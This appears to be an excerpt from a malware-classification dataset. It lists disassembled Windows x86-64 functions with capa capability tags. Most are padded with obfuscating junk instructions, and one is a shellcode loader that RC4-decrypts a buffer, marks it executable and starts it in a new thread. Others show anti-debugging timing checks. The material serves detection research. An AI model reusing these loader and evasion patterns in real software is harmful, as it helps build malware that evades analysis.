joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1404d4cc1
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 0x10], rbx
btr bx, r8w
cmp ecx, ebx
mov qword [rsp + 0x18], rsi
rcr bl, 0x67
dec rbx
and bx, di
push rdi
sal edi, 0x79
rcr bx, cl
jmp 0x1404d4ce7
sub rsp, 0x20
sub esi, esi
mov rdi, rdx
rcl bl, cl
mov rbx, rcx
cmp si, 0x6641
jmp 0x1404d4cff
test rcx, rcx
je 0x1404d4db0
cmp word [rcx], si
je 0x1404d4db0
lea rdx, [0x1400d1d08]
jmp 0x1404d4d1d
call fcn.1401e7920
test eax, eax
jmp 0x1404d4d29
je 0x1404d4db0
lea rdx, [0x1400d1d00]
bswap cx
mov cl, r14b
mov rcx, rbx
call fcn.1401e7920
test eax, eax
jmp 0x1404d4d4b
jne 0x1404d4d9e
mov ecx, dword [rdi + 8]
lea r9d, [rsi + 2]
jmp 0x1404d4d62
lea r8, [rsp + 0x30]
movsx dx, r12b
not edx
cmovns dx, r13w
mov edx, 0x2000000b
jmp 0x1404d4d7d
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
jmp 0x1404d4d8a
je 0x1404d4dee
mov eax, dword [rsp + 0x30]
jmp 0x1404d4d99
jmp 0x1404d4e11
mov rcx, rbx
jmp 0x1404d4da6
call fcn.1404dde6e
jmp 0x1404d4e11
mov ecx, dword [rdi + 8]
sete r9b
movsx r9d, r15w
lea r8, [rsp + 0x30]
mov r9d, 2
movsx dx, sil
movsx rdx, bp
cwd
mov edx, 0x20001004
jmp 0x1404d4ddb
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
jmp 0x1404d4de8
jne 0x1404d4dfa
xor eax, eax
jmp 0x1404d4df5
jmp 0x1404d4e11
mov eax, dword [rsp + 0x30]
test eax, eax
jmp 0x1404d4e05
jne 0x1404d4e11
call qword [sym.imp.KERNEL32.dll_GetACP]
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
sbb rdi, 0x71e86fa1
bt di, r12w
add rsp, 0x20
pop rdi
ret

Function at 0x1404d4e2d
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
sbb sil, r9b
sub sil, r15b
sal esi, cl
push rdi
sar bh, cl
rcr esi, 0xe2
sub rsp, 0x20
mov esi, edx
mov ebx, ecx
jmp 0x1404d4e52
call fcn.1404c6e28
mov ecx, ebx
lea r8, [rsp + 0x30]
sub r9, rdi
and ecx, 0x3ff
xchg dl, dil
bts edx, esp
jmp 0x1404d4e72
mov r9d, 2
cmovb rdi, rsi
bts ecx, 0xa
mov edx, r14d
movsxd rdi, r13d
mov edx, 0x20000001
not di
sets dil
mov rdi, rax
jmp 0x1404d4e9a
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
sub r10d, r10d
stc
test r13w, 0xcea
cmc
test eax, eax
jmp 0x1404d4eb2
je 0x1404d4f61
cmp ebx, dword [rsp + 0x30]
je 0x1404d4f52
test esi, esi
jmp 0x1404d4ec9
je 0x1404d4f52
mov r9, qword [rdi + 0x98]
mov r8d, r10d
cqo
movzx edx, word [r9]
rcr cl, cl
lea rcx, [r9 + 2]
cmp rdx, rbp
lea eax, [rdx - 0x41]
cmp ax, 0x19
jmp 0x1404d4ef4
jbe 0x1404d4f0e
sub dx, 0x61
cmc
cmp dx, 0x19
jmp 0x1404d4f08
ja 0x1404d4f28
movzx edx, word [rcx]
jmp 0x1404d4f16
inc r8d
cmc
add rcx, 2
jmp 0x1404d4f23
jmp 0x1404d4ee8
or rcx, 0xffffffffffffffff
jmp 0x1404d4f31
inc rcx
cmp word [r9 + rcx*2], r10w
jmp 0x1404d4f3e
jne 0x1404d4f31
cmp r8d, ecx
jmp 0x1404d4f4c
je 0x1404d4f61
mov eax, 1
jmp 0x1404d4f5c
jmp 0x1404d4f70
xor eax, eax
movsx rbx, r9w
mov bl, 0xf5
add rsi, 0x2f915e3b
mov rbx, qword [rsp + 0x38]
btr di, r14w
shld si, r10w, 0x8d
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x1404d6633
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
test r11, r9
jmp 0x1404d664c
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
jmp 0x1404d6659
mov qword [rax + 0x18], rsi
test r12b, bpl
jmp 0x1404d6666
mov qword [rax + 0x20], rdi
push r14
cmp r12, 0x6d0d5cc1
sub rsp, 0x40
jmp 0x1404d667c
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
sub r14d, r14d
mov rbx, rax
cmp r10, 0x1d02539c
test r11b, al
test rax, rax
je 0x1404d682d
mov rsi, rax
cmp r10w, ax
cmp word [rax], r14w
jmp 0x1404d66ab
je 0x1404d66f1
or rax, 0xffffffffffffffff
jmp 0x1404d66ba
inc rax
test rdi, r14
clc
test al, 0x20
cmp word [rsi + rax*2], r14w
jmp 0x1404d66cd
jne 0x1404d66ba
lea rsi, [rsi + rax*2]
cmp r11w, r13w
add rsi, 2
test r12d, r9d
cmp word [rsi], r14w
jmp 0x1404d66eb
jne 0x1404d66b1
mov qword [rsp + 0x38], r14
movzx r9d, r14w
neg r9w
sub rsi, rbx
cmc
sub r8b, 0xfa
rol r9b, 0xb5
mov qword [rsp + 0x30], r14
movzx r8w, r14b
sar r9b, cl
add rsi, 2
test esp, 0x69e27f51
sar rsi, 1
cmovne r8d, edi
cmp r12b, 6
mov r8, rbx
mov r9, rax
mov r9d, esi
clc
mov dword [rsp + 0x28], r14d
jmp 0x1404d6747
xor edx, edx
cmc
cmp r13w, 0x4fd3
mov qword [rsp + 0x20], r14
jmp 0x1404d675e
xor ecx, ecx
jmp 0x1404d6765
call fcn.1404c6bef
movsxd rbp, eax
test eax, eax
jmp 0x1404d6774
je 0x1404d682d
mov rcx, rbp
call fcn.1404c6b1f
mov rdi, rax
stc
cmp rdi, r12
test rax, rax
jmp 0x1404d6791
je 0x1404d680d
mov qword [rsp + 0x38], r14
sar r8b, cl
setnp r9b
rcr r9b, cl
mov r9d, esi
sets r8b
neg r8w
mov qword [rsp + 0x30], r14
not r8
btc r8w, r14w
mov r8, rbx
mov dword [rsp + 0x28], ebp
stc
cmp r12d, edx
cmp rbp, 0x65fa0891
xor edx, edx
test r12b, r15b
xor ecx, ecx
jmp 0x1404d67dc
mov qword [rsp + 0x20], rax
jmp 0x1404d67e6
call fcn.1404c6bef
test eax, eax
jmp 0x1404d67f2
je 0x1404d680d
mov rsi, rdi
mov dil, r9b
movsxd rdi, r14d
movzx di, bl
mov rdi, r14
jmp 0x1404d681b
mov rsi, r14
movsx rcx, sp
cmovbe cx, cx
movsx ecx, bp
mov rcx, rdi
jmp 0x1404d6823
call fcn.1404c6aa1
jmp 0x1404d6830
mov rsi, r14
test rbx, rbx
jmp 0x1404d6838
je 0x1404d684c
mov rcx, rbx
jmp 0x1404d6846
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rbx, qword [rsp + 0x50]
mov rax, rsi
bts r14, rbx
mov rsi, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x58]
adc r14, 0x17e921f7
or r14b, r14b
sbb r14, r10
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
movsxd r14, esi
pop r14
ret
Function at 0x1404d687e
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
cmc
mov qword [rsp + 0x10], rbp
test r8b, 0x3f
cmc
mov qword [rsp + 0x18], rsi
test r14d, 0x29d55d8f
push rdi
test r15b, r13b
sub rsp, 0x20
jmp 0x1404d68a7
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
btr rbx, 0xb8
add bl, 7
test dil, 0xb1
mov rbx, rax
test r15b, 0xc2
stc
test rax, rax
jmp 0x1404d68cb
je 0x1404d699e
mov rbp, rax
stc
cmp word [rax], si
jmp 0x1404d68dd
je 0x1404d691d
or rax, 0xffffffffffffffff
jmp 0x1404d68ec
inc rax
cmp word [rbp + rax*2], si
jmp 0x1404d68f9
jne 0x1404d68ec
lea rbp, [rbp + rax*2]
test edi, 0x67597032
add rbp, 2
cmp word [rbp], si
jmp 0x1404d6917
jne 0x1404d68e3
sub rbp, rbx
shl cl, cl
shrd cx, bp, 0x5f
add rbp, 2
rcl ecx, 0x6a
sar rbp, 1
ror cl, cl
add cx, r9w
xchg cx, cx
add rbp, rbp
movzx cx, ch
movsxd rcx, r13d
mov rcx, rbp
jmp 0x1404d694c
call fcn.1404c6b1f
mov rdi, rax
clc
stc
test rax, rax
jmp 0x1404d695e
je 0x1404d6989
mov r8, rbp
movsxd rcx, r12d
mov dl, bh
mov rdx, rbx
movsxd rcx, r9d
mov rcx, rax
jmp 0x1404d697a
call fcn.1404a0bfe
mov rsi, rdi
cmp rsi, 0x2a637fdf
xor ecx, ecx
call fcn.1404c6aa1
mov rcx, rbx
jmp 0x1404d6998
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rbx, qword [rsp + 0x30]
ror ah, 0xb0
add di, 0x7ea7
mov rax, rsi
cmp r10d, 0xaf7167c
mov rsi, qword [rsp + 0x40]
or bpl, r12b
mov rbp, qword [rsp + 0x38]
movzx rdi, sp
add rsp, 0x20
jmp 0x1404d69d2
pop rdi
jmp 0x1404d69d8
ret
Function at 0x1404d9899
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
jmp 0x1404d98cb
mov qword [rsp + 0x18], rbp
cdqe
not al
push rsi
bswap ax
movzx rax, r14w
not ah
push rdi
push r14
lahf
mov eax, 0x1450
call fcn.1404460bf
sub rsp, rax
mov r10b, r15b
movsx r14w, r10b
ror r10b, cl
mov rax, qword [0x1400b7288]
cmp r9b, sil
btc bp, r12w
xor rax, rsp
xchg di, di
mov qword [rsp + 0x1440], rax
sal dil, 0x8e
btr ebp, 0xd2
bts esi, r13d
movsxd r10, edx
mov rdi, rcx
shrd rcx, r10, 0x77
shl ch, 0xd6
movsx rdx, r11w
mov rax, r10
or edx, ebx
rcl cl, cl
mov ebp, r9d
shl cl, 0x15
adc cx, 0x68e
rcl dx, cl
sar rax, 6
lea rcx, [0x1400ba940]
add r14, 0x650120d0
and r10d, 0x3f
lea rbp, [rbp + r8]
clc
mov rsi, r8
mov rax, qword [rcx + rax*8]
add r14w, 0xf8d
shl dx, 0xe6
cmp r14, 0x26226412
lea rdx, [r10 + r10*8]
shr r14b, cl
not r14b
mov r14, qword [rax + rdx*8 + 0x28]
test cx, r13w
xor eax, eax
mov qword [rdi], rax
test r9b, bpl
test bpl, 0x6f
cmp r9w, 0x6a54
mov dword [rdi + 8], eax
test r9b, 0x94
cmp r8, rbp
jmp 0x1404d99b2
jae 0x1404d9abb
lea rbx, [rsp + 0x40]
cmc
stc
cmp rsi, rbp
jmp 0x1404d99c7
jae 0x1404d9a2e
mov al, byte [rsi]
jmp 0x1404d99d4
inc rsi
cmp sp, 0x3b82
cmp r14, rsi
cmp al, 0xa
jne 0x1404d99ff
inc dword [rdi + 8]
jmp 0x1404d99ef
mov byte [rbx], 0xd
jmp 0x1404d99f7
inc rbx
jmp 0x1404d99ff
mov byte [rbx], al
xchg ah, ah
movzx ax, dh
cmovge ax, r9w
inc rbx
cwde
rol ah, 0xe3
shrd ax, sp, 0x40
lea rax, [rsp + 0x143f]
cmp rbx, rax
jmp 0x1404d9a28
jb 0x1404d99bf
and qword [rsp + 0x20], 0
lea rax, [rsp + 0x40]
sub ebx, eax
xchg r8, rcx
sets dh
lea r9, [rsp + 0x30]
movsx rdx, dx
mov r8d, ebx
movzx dx, r14b
mov rcx, 0x663739f4
lea rdx, [rsp + 0x40]
movsx cx, r14b
cmovne ecx, esi
movzx ecx, si
mov rcx, r14
jmp 0x1404d9a71
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x1404d9ab1
mov eax, dword [rsp + 0x30]
cmp r13b, dl
add dword [rdi + 4], eax
jmp 0x1404d9a91
cmp eax, ebx
jmp 0x1404d9a98
jb 0x1404d9abb
cmp rsi, rbp
jmp 0x1404d9aa6
jb 0x1404d99b8
jmp 0x1404d9abb
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rdi], eax
rol al, cl
mov rax, rdi
mov rcx, qword [rsp + 0x1440]
test bp, 0x6f7c
jmp 0x1404d9ad0
xor rcx, rsp
jmp 0x1404d9ad8
call fcn.14049cfde
lea r11, [rsp + 0x1450]
movsx si, dl
xchg rbp, rbp
not r14w
mov rbx, qword [r11 + 0x20]
setae dil
mov rbp, qword [r11 + 0x30]
movsx r14, r11w
mov di, 0x3444
movsx esi, cx
mov rsp, r11
pop r14
cmovnp si, di
pop rdi
setbe sil
movzx esi, sp
jmp 0x1404d9b1d
pop rsi
jmp 0x1404d9b23
ret
Function at 0x1404d9b24
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov ax, 0x58c7
bswap eax
mov qword [rsp + 0x18], rbp
movsx rax, bp
push rsi
seto ah
mov al, r15b
movsx eax, r9w
push rdi
push r14
movzx eax, di
mov eax, 0x1450
jmp 0x1404d9b53
call fcn.1404460bf
sub rsp, rax
add sil, r12b
and ah, 0x49
mov rax, qword [0x1400b7288]
or r14w, 0x1591
rcr r10w, cl
xor rax, rsp
rol di, 0x2b
mov qword [rsp + 0x1440], rax
rcr ax, 0xb8
movsxd r10, edx
mov rdi, rcx
test dil, 0xa2
mov rax, r10
mov r14b, 0
jmp 0x1404d9b9a
mov ebp, r9d
movzx rcx, si
bsr si, di
sar rax, 6
btr rsi, 0x39
inc ch
adc rsi, rsi
lea rcx, [0x1400ba940]
and r10d, 0x3f
rcr r14b, cl
dec dh
cmovs r14d, esi
lea rbp, [rbp + r8]
adc r14b, r12b
mov rsi, r8
movsxd r14, ecx
bt r14w, 0xca
bts dx, r11w
mov rax, qword [rcx + rax*8]
lea rdx, [r10 + r10*8]
bt r14d, 0xc8
and r14d, esi
mov r14, qword [rax + rdx*8 + 0x28]
clc
stc
jmp 0x1404d9bfc
sub eax, eax
cmp sp, ax
test r15b, al
mov qword [rdi], rax
stc
mov dword [rdi + 8], eax
cmc
cmp r8, rbp
jmp 0x1404d9c14
jae 0x1404d9d36
lea rbx, [rsp + 0x40]
test r12b, 0x47
cmp rsi, rbp
jae 0x1404d9c8d
movzx eax, word [rsi]
add rsi, 2
cmp ax, 0xa
jne 0x1404d9c59
add dword [rdi + 8], 2
mov ecx, 0xd
jmp 0x1404d9c4f
mov word [rbx], cx
add rbx, 2
cmp rdx, rcx
mov word [rbx], ax
btr rax, 0x27
movzx rax, dx
bsf ax, cx
add rbx, 2
xor rax, r14
mov al, r10b
lea rax, [rsp + 0x143e]
stc
test al, r8b
cmp rbx, rax
jmp 0x1404d9c87
jb 0x1404d9c23
and qword [rsp + 0x20], 0
rcr cx, cl
lea rax, [rsp + 0x40]
add dx, 0x586b
sub rbx, rax
cmp r15b, 0x16
bt r8, rdx
neg dl
lea r9, [rsp + 0x30]
sal rcx, cl
rcr r8d, cl
movzx edx, r9w
sar rbx, 1
shrd r8d, edi, 0x52
lea rdx, [rsp + 0x40]
add ebx, ebx
xchg r8w, r8w
mov rcx, r14
movsx r8w, dil
mov r8d, ebx
jmp 0x1404d9cdf
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jmp 0x1404d9cec
je 0x1404d9d24
mov eax, dword [rsp + 0x30]
cmp ax, r15w
test r13w, 0x4862
add dword [rdi + 4], eax
cmc
cmp eax, ebx
jmp 0x1404d9d0b
jb 0x1404d9d36
cmp rsi, rbp
jmp 0x1404d9d19
jb 0x1404d9c1a
jmp 0x1404d9d36
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rdi], eax
bsr cx, bx
rcl ah, cl
movzx ecx, r8w
mov rax, rdi
movzx rcx, r9w
stc
mov rcx, qword [rsp + 0x1440]
cmc
test r11b, sil
xor rcx, rsp
call fcn.14049cfde
lea r11, [rsp + 0x1450]
xchg bx, bp
mov rbx, qword [r11 + 0x20]
movzx rdi, r8w
movsx edi, r10w
movzx edi, bx
mov rbp, qword [r11 + 0x30]
mov r14b, r15b
jmp 0x1404d9d78
mov rsp, r11
pop r14
movsx di, r15b
cmovae rdi, r11
not esi
pop rdi
mov sil, 0x58
pop rsi
ret
Function at 0x1404dd158
Capabilities:
Execute anti-debugging instructions

Disassembly:
mov rax, rsp
cmc
stc
push rbp
push rbx
push rsi
adc ebx, r8d
shl bpl, cl
sub bpl, dil
push rdi
movsx rsi, r11w
push r14
stc
cmovnp bp, r13w
lea rbp, [rax - 0x37]
bsf rdi, rsp
sar sil, cl
movzx edi, si
sub rsp, 0xf0
cmc
shr rdi, 0x1e
bsr r14, r10
movaps xmmword [rax - 0x38], xmm6
mov rax, qword [0x1400b7288]
shr sil, 0xa1
bsr r14w, r12w
xor rax, rsp
mov dil, 0x9f
movsx esi, di
mov qword [rbp - 0x11], rax
movzx di, r9b
mov esi, edx
cdq
movzx di, al
mov r14, rcx
mov edx, 0xffc0
mov ecx, 0x1f80
mov edi, r9d
movzx bx, r13b
mov rbx, r8
call fcn.1404d837b
mov ecx, dword [rbp + 0x5f]
mov qword [rsp + 0x48], rax
cdq
movsxd rdx, r14d
mov dword [rsp + 0x50], ebx
setae dh
cdq
movss xmm0, dword [rsp + 0x50]
bswap dx
movzx edx, bp
mov rdx, qword [rsp + 0x48]
jmp 0x1404dd209
movss dword [rsp + 0x40], xmm0
jmp 0x1404dd214
call fcn.1404dcfc7
movss xmm6, dword [rbp + 0x77]
cmp bpl, 0xbe
test dil, spl
test eax, eax
jne 0x1404dd2ab
cmp dword [rbp + 0x7f], 2
jmp 0x1404dd236
jne 0x1404dd259
mov eax, dword [rbp - 0x41]
and eax, 0xffffffe1
movss dword [rbp - 0x51], xmm6
bsf cx, r13w
or eax, 1
cmovnp r8w, bp
mov dword [rbp - 0x41], eax
rdtsc
mov r8d, dword [rbp + 0x5f]
movzx rdx, bx
cdqe
lea rax, [rsp + 0x40]
cwd
setg r9b
mov ch, 0x11
mov qword [rsp + 0x28], rax
lea rdx, [rsp + 0x48]
lea rax, [rbp + 0x6f]
setnp cl
movsx r9w, r14b
mov cl, 0xe3
mov r9d, esi
bswap ecx
movsx ecx, r10w
lea rcx, [rsp + 0x60]
jmp 0x1404dd29c
mov qword [rsp + 0x20], rax
jmp 0x1404dd2a6
call fcn.1404daa80
call fcn.14026833c
test al, al
je 0x1404dd331
test edi, edi
je 0x1404dd331
movss xmm0, dword [rsp + 0x40]
movsx r8, r13w
mov r8w, 0x74c1
mov r8, r14
not rdx
rdtsc
xchg dl, cl
movss xmm3, dword [rbp + 0x6f]
lahf
mov eax, 0x6e8b0e25
cdqe
mov ecx, edi
mov rax, qword [rsp + 0x48]
cmovb edx, edx
cqo
mov edx, dword [rbp + 0x67]
jmp 0x1404dd2fa
mov qword [rsp + 0x30], rax
jmp 0x1404dd304
cvtps2pd xmm0, xmm0
cvtps2pd xmm1, xmm6
movsd qword [rsp + 0x28], xmm0
jmp 0x1404dd315
cvtps2pd xmm3, xmm3
movsd qword [rsp + 0x20], xmm1
jmp 0x1404dd323
call fcn.1404dcf11
cvtsd2ss xmm0, xmm0
jmp 0x1404dd366
mov ecx, edi
jmp 0x1404dd338
call fcn.1404da5a8
mov rcx, qword [rsp + 0x48]
movsxd rdx, edx
mov edx, 0xffc0
jmp 0x1404dd34f
call fcn.1404d837b
movss xmm0, dword [rsp + 0x40]
movzx rcx, r14w
movsx ecx, dx
jmp 0x1404dd366
mov rcx, qword [rbp - 0x11]
test r12, rbp
stc
cmc
xor rcx, rsp
call fcn.14049cfde
movaps xmm6, xmmword [rsp + 0xe0]
bt di, r8w
rol r14b, cl
add rsp, 0xf0
pop r14
pop rdi
movsxd rbx, r12d
pop rsi
movzx rbp, r12w
movsx bx, r11b
pop rbx
movzx ebp, di
movsx bp, spl
mov bp, bx
pop rbp
jmp 0x1404dd3b0
ret
Function at 0x1404dd7b4
Capabilities:
Set thread local storage value

Disassembly:
mov qword [rsp + 8], rbx
shr r8b, 0xc7
movsx r8, r8w
push rdi
sub rsp, 0x20
mov rbx, rdx
lea r9, [0x1400c8ea8]
movsx edx, r13w
mov edi, ecx
movzx dx, al
cmovp ecx, ebp
lea rdx, [0x1400cf748]
mov ecx, 3
movzx r8d, bx
bswap r8w
lea r8, [0x1400c8ea0]
jmp 0x1404dd7fd
call fcn.1404dd8eb
mov rdx, rbx
mov ecx, edi
test rax, rax
jmp 0x1404dd80f
je 0x1404dd820
call qword [case.0x1404c7fc4.0]
jmp 0x1404dd826
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
movzx edi, r11w
pop rdi
jmp 0x1404dd839
ret
Function at 0x140001000
Capabilities:
Generate random numbers via rtlgenrandom

Disassembly:
push rbx
sub rsp, 0x6d0
lea rcx, [rsp + 0x20]
mov r8d, 0x6a4
lea rdx, [0x140015640]
call fcn.140002a30
xor r9d, r9d
lea r8, str.Password
lea rdx, str.Alibaba_2023
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor ecx, ecx
call fcn.14000321c
mov ecx, eax
call fcn.140003204
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov rcx, rax
lea r8d, [rdx + 0x10]
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rbx, rax
test rax, rax
je 0x1400010fd
xor ecx, ecx
mov qword [rax + 8], 0x352000
mov edx, 0x352000
mov r8d, 0x1000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbx + 0x10], rax
test rax, rax
je 0x1400010b7
mov edx, dword [rbx + 8]
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_SystemFunction036]
call fcn.1400031d8
mov rcx, qword [rbx + 8]
xor edx, edx
inc rcx
cdqe
div rcx
mov dword [rbx + 4], edx
jmp 0x1400010ba
mov edx, dword [rbx + 4]
mov ecx, edx
mov r8d, 0x6a4
add rcx, qword [rbx + 0x10]
lea rdx, [rsp + 0x20]
call fcn.140002a30
mov rcx, rbx
call fcn.140001110
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbx
mov edx, 8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, 1
add rsp, 0x6d0
pop rbx
ret
add rsp, 0x6d0
pop rbx
ret
Function at 0x140001110
Capabilities:
Allocate or change rwx memory
Create thread
Spawn thread to rwx shellcode

Disassembly:
push rbp
push rdi
sub rsp, 0x258
mov rax, qword [0x140018008]
xor rax, rsp
mov qword [rsp + 0x240], rax
mov rdx, qword [rcx + 8]
lea r9, [rsp + 0x30]
mov rbp, rcx
mov r8d, 0x40
mov rcx, qword [rcx + 0x10]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x1400012c1
mov qword [rsp + 0x278], rbx
lea rcx, [rsp + 0x140]
mov qword [rsp + 0x280], rsi
mov ebx, 0x100
mov esi, dword [rbp + 4]
mov r8d, ebx
add rsi, qword [rbp + 0x10]
xor edx, edx
mov qword [rsp + 0x250], r14
xor edi, edi
lea r14, [rsi + 0x80]
call fcn.140002330
mov r8d, ebx
lea rcx, [rsp + 0x40]
xor edx, edx
call fcn.140002330
xor edx, edx
mov eax, edx
mov byte [rsp + rdx + 0x40], dl
and eax, 0x7f
movzx eax, byte [rax + rsi]
mov byte [rsp + rdx + 0x140], al
inc edx
cmp edx, ebx
jl 0x1400011a0
mov rsi, qword [rsp + 0x280]
xor edx, edx
nop dword [rax]
nop dword [rax + rax]
movzx eax, byte [rsp + rdx + 0x140]
movzx r8d, byte [rsp + rdx + 0x40]
add edi, eax
add edi, r8d
and edi, 0x800000ff
jge 0x1400011f5
dec edi
or edi, 0xffffff00
inc edi
movsxd rax, edi
lea rcx, [rsp + 0x40]
add rcx, rax
movzx eax, byte [rcx]
mov byte [rsp + rdx + 0x40], al
inc rdx
mov byte [rcx], r8b
sub rbx, 1
jne 0x1400011d0
xor eax, eax
mov r11, r14
xor edi, edi
mov ebx, 0x624
nop
inc eax
and eax, 0x800000ff
jge 0x140001232
dec eax
or eax, 0xffffff00
inc eax
movsxd rcx, eax
lea r9, [rsp + 0x40]
add r9, rcx
movzx r10d, byte [r9]
add edi, r10d
and edi, 0x800000ff
jge 0x140001256
dec edi
or edi, 0xffffff00
inc edi
movsxd rcx, edi
lea rdx, [rsp + 0x40]
add rdx, rcx
movzx ecx, byte [rdx]
mov byte [r9], cl
mov byte [rdx], r10b
movzx edx, byte [r9]
add rdx, r10
movzx ecx, dl
movzx edx, byte [rsp + rcx + 0x40]
xor byte [r11], dl
inc r11
sub rbx, 1
jne 0x140001220
mov qword [rsp + 0x28], rbx
xor r9d, r9d
mov r8, r14
mov dword [rsp + 0x20], ebx
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov r14, qword [rsp + 0x250]
mov rbx, qword [rsp + 0x278]
test rax, rax
je 0x1400012c1
mov edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rdi, qword [rbp + 0x10]
xor eax, eax
mov rcx, qword [rbp + 8]
xor edx, edx
rep stosb byte [rdi], al
mov rcx, qword [rbp + 0x10]
mov r8d, 0x8000
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rcx, qword [rsp + 0x240]
xor rcx, rsp
call fcn.140001310
add rsp, 0x258
pop rdi
pop rbp
ret

Function at 0x140003f54
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140003d80
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x140365b40]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x140365b50]
mov dword [rax], 1
mov rax, qword [0x140365b60]
mov dword [rax], 1
mov rax, qword [0x140365af0]
cmp word [rax], 0x5a4d
jne 0x14000105a
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010c0
mov rax, qword [0x140365b30]
mov dword [0x14036800c], ecx
mov eax, dword [rax]
test eax, eax
je 0x1400010b0
mov ecx, 2
call sym.__set_app_type
call dbg.__p__fmode
mov rdx, qword [0x140365c00]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg.__p__commode
mov rdx, qword [0x140365be0]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [str.Pv__]
cmp dword [rax], 1
je 0x1400010f8
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x140001077
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001110
cmp dx, 0x20b
jne 0x14000105a
cmp dword [rax + 0x84], 0xe
jbe 0x14000105a
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x14000105a
mov rcx, qword [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x14000105a
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x14000105a
Function at 0x1401989d0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call dbg.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop dword [rax]

Function at 0x140198a40
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x1403680a4]
mov rbx, rcx
test esi, esi
jle 0x140198b70
mov rax, qword [0x1403680a8]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x140198a8b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140198b15
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140198a70
mov rcx, rbx
call dbg.__mingw_GetSectionForAddress
mov rdi, rax
test rax, rax
je 0x140198b92
mov rax, qword [0x1403680a8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call dbg._GetPEImageBase
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x1403680a8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140198b77
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x140198b0e
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140198b20
add dword [0x1403680a4], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x1403680a8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
